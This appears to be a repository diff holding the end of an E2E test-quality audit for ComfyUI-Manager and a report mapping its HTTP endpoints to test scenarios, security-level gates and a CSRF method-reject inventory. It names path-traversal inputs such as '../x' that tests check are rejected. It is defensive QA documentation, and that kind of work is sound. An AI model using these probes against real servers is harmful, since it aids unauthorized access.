| 6.5 | LV2 | Unknown pack 400 | NORMAL add |
Final Goal-class tally (92 design Goals): KEEP 22 (SR4 + CV4 promoted post-WI-LL) / NORMAL strengthen 25 / NORMAL add 39 (22 UNREF + 14 GAP + 3 T1 DESTRUCTIVE-SAFE) / T2 PENDING-SECGATE **reduced 8 → 4 and reclassified** (see WI-KK SECGATE Harness Design block below) / T3 IRREDUCIBLE-NA 0. With the supplementary CSRF-M1/M2/M3 Goals covered by `verification_design.md` Section 10, superset tally is 95 Goals: KEEP 25 / rest unchanged.
---
# Priority Fixes
## 🔴 Critical (INADEQUATE — must fix)
1. ~~**test_install_model_accepts_valid_request** — add queue/status verification after POST (task was queued)~~ **RESOLVED (Stage2 WI-D)**: upgraded to delta assertion + worker-observation polling + optional history trace. Verdict: INADEQUATE → ✅ PASS.
2. ~~**legacy-ui-snapshot.spec.ts::lists existing snapshots** — delete (redundant) OR rewrite~~ **RESOLVED (Stage2 WI-F)**: DELETED; coverage by `test_e2e_snapshot_lifecycle.py::test_getlist_after_save` (pytest regression 12/12 PASS).
3. ~~**legacy-ui-snapshot.spec.ts::save snapshot via API** — delete (redundant) OR rewrite~~ **RESOLVED (Stage2 WI-F)**: REWRITTEN as `SS1 Save button creates a new snapshot row` (UI-driven click of dialog Save/Create button). Additional bonus: new `UI Remove button deletes a snapshot row` test also added.
4. ~~**legacy-ui-navigation.spec.ts::API health check** — delete~~ **RESOLVED (Stage2 WI-F)**: DELETED; version covered by `test_e2e_system_info.py::test_version_returns_string`.
5. ~~**legacy-ui-navigation.spec.ts::system endpoints accessible** — delete~~ **RESOLVED (Stage2 WI-F)**: DELETED; redundant with pytest system_info suite.
## 🟡 Important (WEAK — should strengthen)
### ~~Config tests (test_e2e_config_api.py)~~ **RESOLVED (Stage3 WI-E + WI-G)**
- ~~Add `config.ini` file-mutation assertion after POST (not just GET round-trip)~~ — WI-E helper + WI-G propagation added disk-mutation assertions to all 3 set-and-restore tests + all 3 invalid-body negative-state assertions.
- ~~Add "survive restart" test (set value → reboot → verify value preserved)~~ — reboot-persistence helper applied to all 3 set-and-restore tests. §4: 6 WEAK → PASS.
### Snapshot tests (test_e2e_snapshot_lifecycle.py)
- ~~Verify `test_save_snapshot` creates file on disk (currently only checks 200)~~ — Wave2 WI-Q: file-on-disk glob + JSON dict load asserted in strengthened test.
- ~~Add path-traversal test on remove (SR3)~~ — **RESOLVED (WI-Z Y1)**: covered by `test_remove_path_traversal_rejected` (source L300–L328).
- ~~Add test `test_save_snapshot_content_matches_get_current` (SS1 full)~~ — Wave2 WI-Q: folded into strengthened `test_save_snapshot` — asserts saved file's `cnr_custom_nodes` matches live GET /v2/snapshot/get_current.
### ~~Queue lifecycle tests (test_e2e_queue_lifecycle.py)~~ **RESOLVED (Wave3 WI-T Cluster G + WI-W)**
- ~~Add test verifying `queue/history_list` ids match actual filesystem files~~ — Wave3 WI-T: 3 WEAK → PASS (history_list FS match + field-level effect checks).
- ~~`queue/history?id=...` params skip~~ — Wave3 WI-W: TaskHistoryItem schema-drop regression fixed, history_list endpoint un-skipped with params preserved.
- Remaining 🟢 gap: path-traversal test on `queue/history?id=...` (QH2) — destructive-safe, deferred.
### ~~Task operations (test_e2e_task_operations.py)~~ **RESOLVED (Wave2 WI-P)**
- ~~**update**: verify actual version change after update~~ — Wave2 WI-P: version-change assertion added.
- ~~**fix**: induce broken dependency, verify fix heals~~ — Wave2 WI-P: broken-dep fixture + heal assertion added.
- ~~**update_all**: verify pending_count matches active node count~~ — Wave2 WI-P: pending_count equivalence asserted.
- ~~**update_comfyui stable**: verify queued task.params.is_stable~~ — Wave2 WI-P: queued-task params assertion added. §9: 6 WEAK → PASS.
### ~~Playwright Manager menu~~ **RESOLVED (Wave3 WI-U Cluster H)**
- ~~Rewrite DB mode + Policy dropdown tests to verify UI state (dialog reopen → `<select>.value` matches) instead of direct API~~ — Wave3 WI-U: 2 WEAK → PASS via UI-driven dialog reopen assertions.
### ~~Missing UI→effect tests~~ **RESOLVED (Wave3 WI-U Cluster H; partial carry-over to 🟢)**
- ~~Click "Install" on Custom Nodes row → verify pack installed (LB1)~~ — Wave3 WI-U: custom-nodes 1 WEAK → PASS with pack-install UI→effect assertion.
- ~~Click "Uninstall" on row → verify pack removed (LB2)~~ — Wave3 WI-U: uninstall UI→effect assertion added.
- ~~Click "Save Snapshot" UI button → new row in dialog (SS1 UI-driven)~~ — Stage2 WI-F already added; retained in Wave3 regression.
- ~~Click "Install" on Model Manager row → verify file downloaded (LM1 full)~~ — Wave3 WI-U: model-manager 2 WEAK → PASS with file-downloaded UI→effect assertions.
## 🟢 Nice (gaps, not wrong — just incomplete)
- V4 COMFY_CLI_SESSION reboot mode
- ~~All `middle`/`middle+`/`high+` security 403 tests (requires separate security_level env)~~ **PARTIAL (WI-LL)**: SR4 + CV4 covered; SR6/V5/UA2 remain as T2-pending-harness-ready (mechanical additions to `test_e2e_secgate_strict.py`); LGU2/LPP2 remain as NORMAL-legacy (follow-up `test_e2e_secgate_legacy_default.py`); IM4 reclassified to T2-TASKLEVEL (queue-observation pattern). See WI-KK SECGATE Harness Design block above for the propagation plan.
- IF1 positive path (known failed pack — needs seed setup)
- LN1-LN4 manager/notice tests (4 variants)
- LPP1/LPP2 pip install tests
- LGU1/LGU2 git_url install tests
- LA1 alternatives display test
- LDV1 disabled_versions test
## Classification policy (tier rule)
A gap is `N/A` only if no E2E observable exists for the design's stated observable.
- **T1 DESTRUCTIVE-SAFE** (NORMAL add): design observable is a queued-task record,
marker file, or persistent side-effect artifact. Current T1 items: CV3, SR5, V4.
- **T2 SECGATE-PENDING** (PENDING-harness): blocked only on restricted-security test
harness. WI-KK dissolved the original 8-item T2 bucket into 4 distinct sub-tiers
(see **WI-KK SECGATE Harness Design** block below for the reclassification rationale).
Current T2 items: SR6, V5, UA2 (3 Goals — harness-ready mechanical additions to
`test_e2e_secgate_strict.py`).
- **T2-RESOLVED** (WI-LL, post-WI-KK): Goals formally test-backed by the new secgate
fixtures. Current items: SR4 (`test_e2e_secgate_strict.py` §20), CV4 (`test_e2e_secgate_default.py` §21).
- **NORMAL** (post-WI-KK reclassification): Goals that do NOT need a harness because
the default E2E config (`is_local_mode=True` + `security_level=normal`) already
triggers the 403 path at the HTTP handler. Current items: CV4 (covered by WI-LL).
*(Note: CV4 appears in both T2-RESOLVED and NORMAL because its classification
shifted — it was T2 pre-WI-KK, NORMAL post-WI-KK research, and T2-RESOLVED
post-WI-LL audit integration. The operational tier is NORMAL; T2-RESOLVED is
the audit-status tag.)*
- **NORMAL-legacy** (post-WI-KK reclassification): Goals registered ONLY in
`legacy/manager_server.py`; need `start_comfyui_legacy.sh` fixture. Current items:
LGU2, LPP2 (2 Goals — fixture already exists from WI-FF; implementation pending
a dedicated `test_e2e_secgate_legacy_default.py` module).
- **T2-TASKLEVEL** (post-WI-KK reclassification): gate check lives in the worker /
`get_risky_level` pipeline, not the HTTP handler. Requires queue-observation test
pattern, not HTTP 403 check. Current items: IM4 (1 Goal — pattern TBD).
- **T3 IRREDUCIBLE-NA**: no test-observable artifact exists. Current items: none.
Re-reading all items currently categorized "intentionally skipped (destructive)":
**CV3, SR5, V4 are T1, not N/A**, and have been promoted to NORMAL coverage tasks in
the Key-gaps bullets above.
### WI-KK SECGATE Harness Design (audit-embedded propagation plan)
WI-KK (#182) landed two artifacts that fundamentally reshape the T2 backlog:
1. **`tests/e2e/scripts/start_comfyui_strict.sh`** — a strict-mode ComfyUI launcher
that patches `user/__manager/config.ini` to `security_level=strong`, leaves a
`.before-strict` backup, and starts the server on the E2E port. Pair this with
a module-scoped fixture that restores the backup in teardown (the model shown
in `test_e2e_secgate_strict.py`) and any middle/middle+ gate becomes testable.
2. **Research finding** (WI-KK #183): `security_utils.py` L14–40 returns
`security_level in [WEAK, NORMAL_]` for the high+ check. Under `is_local_mode=True`
(our 127.0.0.1 default), `security_level=normal` is NOT in that set, so high+
operations return False → 403 **at the default config, no harness needed**.
Combining these two insights, the original "8 T2 SECGATE-PENDING Goals, harness
should land as one cross-cutting item" collapses into a 4-sub-tier structure:
| WI-KK sub-tier | Goals | Test infrastructure | Status after WI-LL |
|---|---|---|---|
| T2-RESOLVED | SR4, CV4 | `test_e2e_secgate_strict.py` + `test_e2e_secgate_default.py` | PASS rows landed (§20, §21) |
| T2-pending (harness-ready) | SR6, V5, UA2 | Same strict fixture as SR4 — mechanical addition | Deferred to a follow-up PR (low lift) |
| NORMAL-legacy | LGU2, LPP2 | `start_comfyui_legacy.sh` (exists via WI-FF) | Deferred to `test_e2e_secgate_legacy_default.py` follow-up |
| T2-TASKLEVEL | IM4 | Queue-observation pattern (not HTTP 403) — pattern TBD | Open design question; not a simple mechanical add |
Propagation plan (post-PR):
1. Land SR6, V5, UA2 in `test_e2e_secgate_strict.py` using the SR4 template; adds 3 PASS rows, brings this audit to 136/151 TOTAL.
2. Create `test_e2e_secgate_legacy_default.py` for LGU2 + LPP2; +2 PASS → 138/153.
3. Design the IM4 queue-observation pattern (distinct from the HTTP 403 pattern used in §20/§21); +1 PASS → 139/154. This item may be reclassified to T3 IRREDUCIBLE-NA if the observable turns out to be log-only.
---
# Conclusion
**100% of tests have adequate verification** (excluding N/A; denominator = 116 after WI-MM + WI-NN bloat reductions — WI-MM net -9 PASS / -2 N/A / -1 section row; WI-NN parametrize-consolidation net -9 PASS / -4 N/A). The ⚠️ WEAK bucket is now empty. **Zero INADEQUATE tests remain** after Stage2 WI-D + WI-F resolution; Stage3 WI-G closed the config_api disk/restart gap (§4: 6 WEAK → PASS). The three reconciliation waves closed every remaining WEAK:
- **Wave1** (WI-L/M/N): 10 WEAK → PASS across 5 files (endpoint, git_clone, customnode_info, queue_lifecycle, version_mgmt) + snapshot_lifecycle 1 WEAK → PASS, with 1 dedup via WI-M.
- **Wave2** (WI-P/Q): 7 WEAK → PASS (task_operations 6 for update/fix effect + params; snapshot_lifecycle 1 for save_snapshot disk + content verification).
- **Wave3** (WI-T/U/W): 10 WEAK → PASS. WI-T Cluster C+G strengthened queue_lifecycle (3), customnode_info (1), and system_info (1) with field-level effect checks; WI-U Cluster H rewrote 3 legacy-ui Playwright specs (manager-menu 2, custom-nodes 1, model-manager 2) to verify UI state via dialog reopen / `<select>.value` assertions; WI-W fixed the TaskHistoryItem params-drop schema regression and re-enabled the skipped queue_lifecycle `history?id=...` test.
Cumulative Wave1+Wave2+Wave3 upgrade count: **27 WEAK → PASS** (10 + 7 + 10). Matrix delta across the three waves: PASS 54 → 94 (+40 including Stage2+Stage3 upstream), WEAK 36 → 0, INADEQUATE 5 → 0. WI-Z inventory reconciliation (Y1 + Y3) added 6 pre-existing PASS rows: PASS 94 → 100, total 109 → 115. WI-AA inventory reconciliation added 2 more pre-existing PASS rows (LB1/LB2): PASS 100 → 102, total 115 → 117. WI-GG added 26 per-invocation PASS rows for `test_e2e_csrf_legacy.py` (WI-FF deliverable): PASS 102 → 128, total 117 → 143. WI-JJ (FF-deferred items) added 3 legacy-side CSRF invocations for the 2 legacy install endpoints + `is_legacy_manager_ui` flag-value parity: PASS 128 → 131, total 143 → 146. WI-LL added 2 PASS rows for the WI-KK deliverables — SR4 via `test_e2e_secgate_strict.py` §20 and CV4 via `test_e2e_secgate_default.py` §21 — closing 2 of the 8 original T2 SECGATE-PENDING Goals and reclassifying the remaining 6 across 4 sub-tiers (see WI-KK SECGATE Harness Design block above): PASS 131 → 133, total 146 → 148.
- Check status code without verifying the actual effect (WEAK — 0%) ✅
- Use direct API in UI tests (INADEQUATE — 0%) ✅
- Are outside endpoint-effect scope (N/A — 15/148 ≈ 10.1% of total)
Remaining 🟢 gaps (not WEAK): ~~**SR3 snapshot-remove path-traversal**~~ (RESOLVED by WI-Z Y1 — `test_remove_path_traversal_rejected`) and **QH2 queue-history path-traversal** (destructive-safe security test, already present via `test_history_path_traversal_rejected` in queue_lifecycle § Key gaps). Design-Goal coverage gap (22/92 absent, 70/92 referenced) is tracked separately in § Design-Goal Coverage Gap and is not a test-quality issue.
Post-Wave3 + WI-Z + WI-AA + WI-GG + WI-JJ + WI-LL state: **100% adequate coverage achieved** (133/133 PASS, excluding 15 N/A). Audit is in a terminal state for the current 148 tests. Further coverage expansion (design-Goal additions, the 3 T2-pending harness-ready Goals, NORMAL-legacy Goals, T2-TASKLEVEL IM4) is new-work territory — propagation plan is documented in the WI-KK SECGATE Harness Design block above — not reconciliation.
> **WI-Z + WI-AA + WI-GG + WI-JJ + WI-LL note**: Total test count 109 → 115 (WI-Z Y1 +1 snapshot, Y3 +5 config_api) → 117 (WI-AA +2 LB1/LB2) → 143 (WI-GG +26 legacy CSRF per-invocation rows) → 146 (WI-JJ +3 legacy-side install/parity rows) → 148 (WI-LL +2 SECGATE PoC rows) reflects inventory reconciliation plus WI-KK's newly-landed secgate coverage. Cumulative **upgrade** count remains 27 (unchanged since Wave3). WI-LL is the first audit-reflect WI to also introduce a Classification-policy reshape (T2 SECGATE-PENDING 8 → 4 sub-tiers), not just row additions.
---
*End of E2E Verification Audit*
+427
View File
@@ -0,0 +1,427 @@
# Report A — Endpoint Extraction + Scenario Mapping
**Generated**: 2026-04-18
**Source files**:
- `comfyui_manager/glob/manager_server.py` (glob v2 — primary/current API)
- `comfyui_manager/legacy/manager_server.py` (legacy — `--enable-manager-legacy-ui`)
## Summary
| Category | Endpoints | Unique Scenarios |
|---|---:|---:|
| Glob v2 | 30 | 120 |
| Legacy-only (not in glob) | 9 | 34 |
| Legacy-shared (same path as glob) | 29 | — (see glob) |
| **TOTAL unique HTTP handlers** | **39** | **154** |
Security-gated endpoints:
- `middle`: reboot, snapshot/remove, _uninstall_custom_node, _update_custom_node
- `middle+`: update_all, snapshot/restore, _install_custom_node, _install_model
- `high+`: comfyui_switch_version, install/git_url, install/pip, non-safetensors model install, _fix_custom_node (raised from `high` to align the gate with the `SECURITY_MESSAGE_HIGH_P` log text — WI-#235; prior `middle` → `high` upgrade was commit `c8992e5d`)
---
# Section 1 — Glob v2 Endpoints (`comfyui_manager/glob/manager_server.py`)
## 1.1 Queue Management
### POST /v2/manager/queue/task
- **Handler**: `queue_task` (L1218)
- **Schema**: `QueueTaskItem` (Pydantic) — `{kind, ui_id, client_id, params}`
- **Scenarios**:
1. Success — valid task (kind=install/update/fix/disable/enable/uninstall/update_comfyui/install_model) → 200
2. Validation error — malformed kind / missing ui_id / invalid params → 400 with ValidationError text
3. Invalid JSON body → 500
4. State: worker auto-starts when task added
### GET /v2/manager/queue/history_list
- **Handler**: `get_history_list` (L1252)
- **Scenarios**:
1. Success — list of batch history file IDs (basename without .json) sorted by mtime desc → 200 `{ids: [...]}`
2. Empty history directory → 200 `{ids: []}`
3. History path inaccessible → 400
### GET /v2/manager/queue/history
- **Handler**: `get_history` (L1281)
- **Query**: `id` (batch file) | `client_id` | `ui_id` | `max_items` | `offset`
- **Scenarios**:
1. Success with `id=<batch_history_id>` → reads JSON file → 200
2. Path-traversal attempt in `id` → 400 "Invalid history id"
3. Filter by `ui_id` — returns single task history → 200 `{history: ...}`
4. Filter by `client_id` — filters in-memory history dict → 200
5. Pagination (`max_items`, `offset`) → 200 `{history: ...}`
6. JSON serialization failure (in-memory TaskHistoryItem not serializable) → 400
7. No query params — returns full current session history → 200
### POST /v2/manager/queue/reset
- **Handler**: `reset_queue` (L1718)
- **Scenarios**:
1. Success — wipes pending + running + history → 200
2. Idempotent — safe to call when queue already empty → 200
### GET /v2/manager/queue/status
- **Handler**: `queue_count` (L1725)
- **Query**: `client_id` (optional)
- **Scenarios**:
1. No filter — global counts (total/done/in_progress/pending, is_processing) → 200
2. With `client_id` — response includes `client_id` echo + per-client counts → 200
3. Unknown client_id — returns 0 counts with echo → 200
### POST /v2/manager/queue/start
- **Handler**: `queue_start` (L1778)
- **Scenarios**:
1. Worker not running — starts worker → 200
2. Worker already running → 201 (already in-progress)
3. Empty queue — worker starts then idles → 200
### POST /v2/manager/queue/update_all
- **Handler**: `update_all` (L1411)
- **Security gate**: `middle+` → 403 otherwise
- **Schema**: `UpdateAllQueryParams` — `{ui_id, client_id, mode?}`
- **Scenarios**:
1. Success — queues update tasks for all active nodes → 200 (synchronously; slow due to reload)
2. Missing `ui_id`/`client_id` → 400 ValidationError
3. Security blocked (level < middle+) → 403
4. `mode=local` — uses local channel (no network)
5. `mode=remote/cache` — fetches cached channel data
6. Desktop version — skips comfyui-manager pack (reads `__COMFYUI_DESKTOP_VERSION__`)
7. Empty node set — queues 0 tasks → 200
### POST /v2/manager/queue/update_comfyui
- **Handler**: `update_comfyui` (L1791)
- **Schema**: `UpdateComfyUIQueryParams` — `{client_id, ui_id, stable?}`
- **Scenarios**:
1. Success — queues `update-comfyui` task → 200
2. Missing required params → 400 ValidationError
3. `stable=true` — forces stable update regardless of config
4. `stable=false` — forces nightly update
5. No `stable` param — uses config policy (nightly-comfyui vs stable)
### POST /v2/manager/queue/install_model
- **Handler**: `install_model` (L1875)
- **Schema**: `ModelMetadata` (name, type, base, url, filename, save_path) + required `client_id` + `ui_id`
- **Scenarios**:
1. Success — valid request → queues `install-model` task → 200
2. Missing `client_id` → 400 "Missing required field: client_id"
3. Missing `ui_id` → 400 "Missing required field: ui_id"
4. Invalid model metadata (missing name/url/filename) → 400 ValidationError
5. Malformed JSON → 500
## 1.2 Custom Node Info
### GET /v2/customnode/getmappings
- **Handler**: `fetch_customnode_mappings` (L1357)
- **Query**: `mode` (required: local|cache|remote|nickname)
- **Scenarios**:
1. Success — returns `{pack_id: [node_list, metadata]}` dict → 200
2. `mode=nickname` — applies nickname_filter → 200
3. Missing `mode` → KeyError → 500
4. Invalid `mode` value → may raise from get_data_by_mode → 400/500
5. Missing nodes matched by `nodename_pattern` regex are appended
### GET /v2/customnode/fetch_updates
- **Handler**: `fetch_updates` (L1393)
- **Scenarios**:
1. Always returns **410 Gone** with `{deprecated: true}` — deprecated endpoint
2. Client should migrate to queue/update-based flow
### GET /v2/customnode/installed
- **Handler**: `installed_list` (L1500)
- **Query**: `mode` (default|imported)
- **Scenarios**:
1. Default mode — current installed packs snapshot → 200 dict
2. `mode=imported` — startup-time installed packs (frozen snapshot) → 200
3. Empty custom_nodes dir → 200 `{}`
### POST /v2/customnode/import_fail_info
- **Handler**: `import_fail_info` (L1623)
- **Body**: `{cnr_id?, url?}` — one required
- **Scenarios**:
1. Known failed pack via `cnr_id` — returns `{msg, traceback}` → 200
2. Known failed pack via `url` — returns info → 200
3. Unknown pack → 400 (no failure info available)
4. Missing both cnr_id and url → 400 "Either 'cnr_id' or 'url' field is required"
5. `cnr_id` not a string → 400 "'cnr_id' must be a string"
6. Non-dict body → 400 "Request body must be a JSON object"
### POST /v2/customnode/import_fail_info_bulk
- **Handler**: `import_fail_info_bulk` (L1657)
- **Schema**: `ImportFailInfoBulkRequest` — `{cnr_ids: [], urls: []}`
- **Scenarios**:
1. Success with `cnr_ids` list — returns `{cnr_id: {error, traceback}|null}` → 200
2. Success with `urls` list — returns `{url: {error, traceback}|null}` → 200
3. Both lists empty → 400 "Either 'cnr_ids' or 'urls' field is required"
4. Validation error (wrong types) → 400
5. Each unknown pack → `null` in results dict (not an error)
## 1.3 Snapshots
### GET /v2/snapshot/getlist
- **Handler**: `get_snapshot_list` (L1512)
- **Scenarios**:
1. Success — list of snapshot file stems (basename minus .json), sorted desc → 200 `{items: [...]}`
2. Empty snapshot dir → 200 `{items: []}`
### GET /v2/snapshot/get_current
- **Handler**: `get_current_snapshot_api` (L1575)
- **Scenarios**:
1. Success — returns current system state dict → 200
2. Internal failure → 400
### POST /v2/snapshot/save
- **Handler**: `save_snapshot` (L1585)
- **Scenarios**:
1. Success — creates timestamped snapshot file → 200
2. Internal failure → 400
3. Multiple rapid saves — each creates distinct timestamped file
### POST /v2/snapshot/remove
- **Handler**: `remove_snapshot` (L1521)
- **Security gate**: `middle` → 403
- **Query**: `target` (snapshot file stem)
- **Scenarios**:
1. Success — removes existing file → 200
2. Nonexistent target — 200 (no-op)
3. Path traversal (`../x`) → 400 "Invalid target"
4. Missing `target` query → exception → 400
5. Security blocked (level < middle) → 403
### POST /v2/snapshot/restore
- **Handler**: `restore_snapshot` (L1543)
- **Security gate**: `middle+` → 403
- **Query**: `target`
- **Scenarios**:
1. Success — copies snapshot to startup script path (applied on next reboot) → 200
2. Nonexistent target → 400
3. Path traversal → 400 "Invalid target"
4. Security blocked → 403
## 1.4 Configuration
### GET /v2/manager/db_mode
- **Handler**: `db_mode` (L1907)
- **Scenarios**: Returns plain text current value ∈ {cache, channel, local, remote} → 200
### POST /v2/manager/db_mode
- **Handler**: `set_db_mode_api` (L1912)
- **Body**: `{value: <mode>}`
- **Scenarios**:
1. Valid value — persists to config.ini → 200
2. Malformed JSON → 400 "Invalid request"
3. Missing `value` key → 400 KeyError
### GET /v2/manager/policy/update
- **Handler**: `update_policy` (L1923)
- **Scenarios**: Returns plain text value ∈ {stable, stable-comfyui, nightly, nightly-comfyui} → 200
### POST /v2/manager/policy/update
- **Handler**: `set_update_policy_api` (L1928)
- **Body**: `{value: <policy>}`
- **Scenarios**:
1. Valid value → persists config → 200
2. Malformed JSON / missing value → 400
### GET /v2/manager/channel_url_list
- **Handler**: `channel_url_list` (L1939)
- **Scenarios**:
1. Success — `{selected: name, list: ["name::url", ...]}` → 200
2. Selected URL doesn't match any channel → `selected="custom"`
### POST /v2/manager/channel_url_list
- **Handler**: `set_channel_url` (L1954)
- **Body**: `{value: <channel_name>}`
- **Scenarios**:
1. Known channel name → persists new URL → 200
2. Unknown channel name → no-op → 200 (silent)
3. Malformed JSON / missing value → 400
## 1.5 System
### GET /v2/manager/is_legacy_manager_ui
- **Handler**: `is_legacy_manager_ui` (L1487)
- **Scenarios**: Returns `{is_legacy_manager_ui: bool}` reflecting `--enable-manager-legacy-ui` flag → 200
### GET /v2/manager/version
- **Handler**: `get_version` (L2009)
- **Scenarios**: Returns plain text `core.version_str` → 200
### POST /v2/manager/reboot
- **Handler**: `restart` (L1968)
- **Security gate**: `middle` → 403
- **Scenarios**:
1. Success — triggers server process restart via execv → 200 (connection may drop)
2. `__COMFY_CLI_SESSION__` env set — writes reboot marker + exit(0) instead of execv
3. Desktop/Windows standalone variant — removes flag before restart
4. Security blocked → 403
## 1.6 ComfyUI Version Management
### GET /v2/comfyui_manager/comfyui_versions
- **Handler**: `comfyui_versions` (L1825)
- **Scenarios**:
1. Success — `{versions: [...], current: "<tag or hash>"}` → 200
2. Git access failure → 400
### POST /v2/comfyui_manager/comfyui_switch_version
- **Handler**: `comfyui_switch_version` (L1840)
- **Security gate**: `high+` → 403
- **Schema**: `ComfyUISwitchVersionParams` — `{ver, client_id, ui_id}` (JSON body; renamed in WI #261, migrated from query string in WI #258)
- **Scenarios**:
1. Success — queues update-comfyui task with target_version → 200
2. Missing `ver`/`client_id`/`ui_id` → 400 ValidationError (JSON with `error` field)
3. Security blocked → 403
4. Internal exception → 400
---
# Section 2 — Legacy-Only Endpoints (`comfyui_manager/legacy/manager_server.py`)
Endpoints in this section exist **only in the legacy server** (not registered in glob). They are served when `--enable-manager-legacy-ui` is set.
### POST /v2/manager/queue/batch
- **Handler**: `queue_batch` (L740)
- **Body**: dict with keys ∈ {update_all, reinstall, install, uninstall, update, update_comfyui, disable, install_model, fix}, each with a list of per-pack payloads
- **Scenarios**:
1. Success with single kind (e.g. install) → appends to temp_queue_batch, finalizes, starts worker → 200 `{failed: []}`
2. Mixed kinds in one batch — processes each sequentially
3. Partial failure — some packs fail internally → 200 `{failed: [...ids]}`
4. `update_all` with mode — runs legacy update_all flow inline
5. `reinstall` — uninstall then install per pack; uninstall failure skips install
6. `disable` — no security check inside `_disable_node`
7. `install` with security gate fail → failed set entry
8. Empty body `{}` → 200 `{failed: []}`
### GET /v2/customnode/getlist
- **Handler**: `fetch_customnode_list` (L1018)
- **Query**: `mode` (required), `skip_update?` (bool string)
- **Scenarios**:
1. Success — returns `{channel, node_packs}` with installed/update state populated → 200
2. `skip_update=true` — skips git update check (faster)
3. Removes comfyui-manager self-entry from results
4. Channel lookup resolves to 'default'/'custom'/known name
### GET /customnode/alternatives
- **Handler**: `fetch_customnode_alternatives` (L1072)
- **Query**: `mode` (required)
- **Scenarios**:
1. Success — alter-list.json items keyed by id → 200
### GET /v2/externalmodel/getlist
- **Handler**: `fetch_externalmodel_list` (L1143)
- **Query**: `mode` (required)
- **Scenarios**:
1. Success — model-list.json with `installed` flag populated per file → 200
2. HuggingFace sentinel filename — resolves from URL basename
3. Custom save_path — checks under models/<save_path>
### GET /v2/customnode/versions/{node_name}
- **Handler**: `get_cnr_versions` (L1262)
- **Path param**: `node_name`
- **Scenarios**:
1. Known CNR pack — returns version list → 200
2. Unknown pack — 400
### GET /v2/customnode/disabled_versions/{node_name}
- **Handler**: `get_disabled_versions` (L1273)
- **Scenarios**:
1. Pack has nightly_inactive entry → version list includes "nightly"
2. Pack has cnr_inactive entries → versions list
3. No disabled versions → 400
### POST /v2/customnode/install/git_url
- **Handler**: `install_custom_node_git_url` (L1502)
- **Security gate**: `high+` → 403
- **Body**: plain text URL
- **Scenarios**:
1. Success install → 200
2. Already installed (skip action) → 200
3. Clone failure → 400
4. Security blocked → 403
### POST /v2/customnode/install/pip
- **Handler**: `install_custom_node_pip` (L1522)
- **Security gate**: `high+` → 403
- **Body**: plain text space-separated packages
- **Scenarios**:
1. Success — pip install completes → 200
2. Security blocked → 403
### GET /v2/manager/notice
- **Handler**: `get_notice` (L1747)
- **Scenarios**:
1. Success — fetches GitHub wiki News, returns HTML → 200
2. GitHub unreachable / non-200 → 200 "Unable to retrieve Notice" (plain text)
3. No markdown-body div matched → 200 "Unable to retrieve Notice"
4. Appends ComfyUI/Manager version footer
5. Desktop variant — uses `__COMFYUI_DESKTOP_VERSION__`
6. Non-git ComfyUI — prepends "Your ComfyUI isn't git repo" warning
7. Outdated ComfyUI (required_commit_datetime > current) — prepends "too OUTDATED" warning
---
# Section 3 — Legacy-Shared Endpoints
These paths exist in BOTH glob and legacy files (29 endpoints). Semantics are typically equivalent but implementation may differ; see glob scenarios above. Notable differences:
- **queue/status** (L1379 legacy) — counts from `task_batch_queue[0]` (first batch only), not aggregated across batches like glob
- **queue/start** (L1465 legacy) — calls `finalize_temp_queue_batch()` first, then starts worker thread
- **update_all** (L904 legacy) — returns 401 if worker already running; auto-saves snapshot; uses temp_queue_batch instead of QueueTaskItem
- **update_comfyui** (L1572 legacy) — no params; reads config.update_policy directly; always returns 200
- **reboot** (L1796 legacy) — identical behavior to glob
- **history** (L819 legacy) — only supports `id` query (no client_id/ui_id/pagination)
- **import_fail_info** (L1289 legacy) — no basic dict validation; assumes cnr_id/url present (KeyError otherwise)
---
# Security Level Matrix
| Level | Glob endpoints | Legacy endpoints |
|---|---|---|
| **middle** | snapshot/remove, reboot | snapshot/remove, reboot, _uninstall, _update |
| **middle+** | update_all, snapshot/restore, install_model | update_all, snapshot/restore, _install_custom_node, _install_model |
| **high+** | comfyui_switch_version, _fix_custom_node | comfyui_switch_version, install/git_url, install/pip, non-safetensors model install, _fix |
> Note: `_fix` / `_fix_custom_node` security-level history: `middle` → `high` in commit `c8992e5d` (2026-04-04, which also added a previously-missing gate to the legacy handler); subsequent `high` → `high+` in WI-#235 to align the enforcement gate with the `SECURITY_MESSAGE_HIGH_P` log text (and tighten the gate for a state-mutating fix path). README 'Risky Level Table' has been updated in lockstep.
# Deprecated / Removed
- **GET /v2/customnode/fetch_updates** — glob returns 410; legacy still attempts fetch (may succeed but deprecated in concept)
- **Individual queue/{install,uninstall,update,fix,disable,reinstall,abort_current}** — removed from legacy in recent work (replaced by queue/batch aggregator)
- **GET /manager/notice** (v1, no /v2 prefix) — removed from legacy
---
# CSRF Method-Reject Contract Inventory
**Purpose**: Enumerate the 16 state-changing endpoints that must reject HTTP `GET` after commit `99caef55` (CSRF method-conversion mitigation; CVSS 8.1, reported by XlabAI / Tencent Xuanwu). This inventory supplements `verification_design.md` Section 10 (Goals CSRF-M1 / M2 / M3) and is the authoritative cross-reference for the contract enforced by `tests/e2e/test_e2e_csrf.py`.
**Data Source**: `tests/e2e/test_e2e_csrf.py::STATE_CHANGING_POST_ENDPOINTS` (L92-L109). Pre-99caef55 methods derived from `git log -S` history and the commit body of 99caef55. Security Level column cross-references the Security Level Matrix (§ above, L378-L382).
| # | Endpoint | Pre-99caef55 Method | Post-99caef55 Method | Security Level | Test Reference |
|---|----------|---------------------|----------------------|----------------|----------------|
| 1 | `/v2/manager/queue/start` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/start]` |
| 2 | `/v2/manager/queue/reset` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/reset]` |
| 3 | `/v2/manager/queue/update_all` | GET | POST | middle+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/update_all]` |
| 4 | `/v2/manager/queue/update_comfyui` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/update_comfyui]` |
| 5 | `/v2/manager/queue/install_model` | POST | POST (pre-existing) | middle+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/install_model]` |
| 6 | `/v2/manager/queue/task` | POST | POST (pre-existing) | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/task]` |
| 7 | `/v2/snapshot/save` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/snapshot/save]` |
| 8 | `/v2/snapshot/remove` | GET | POST | middle | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/snapshot/remove]` |
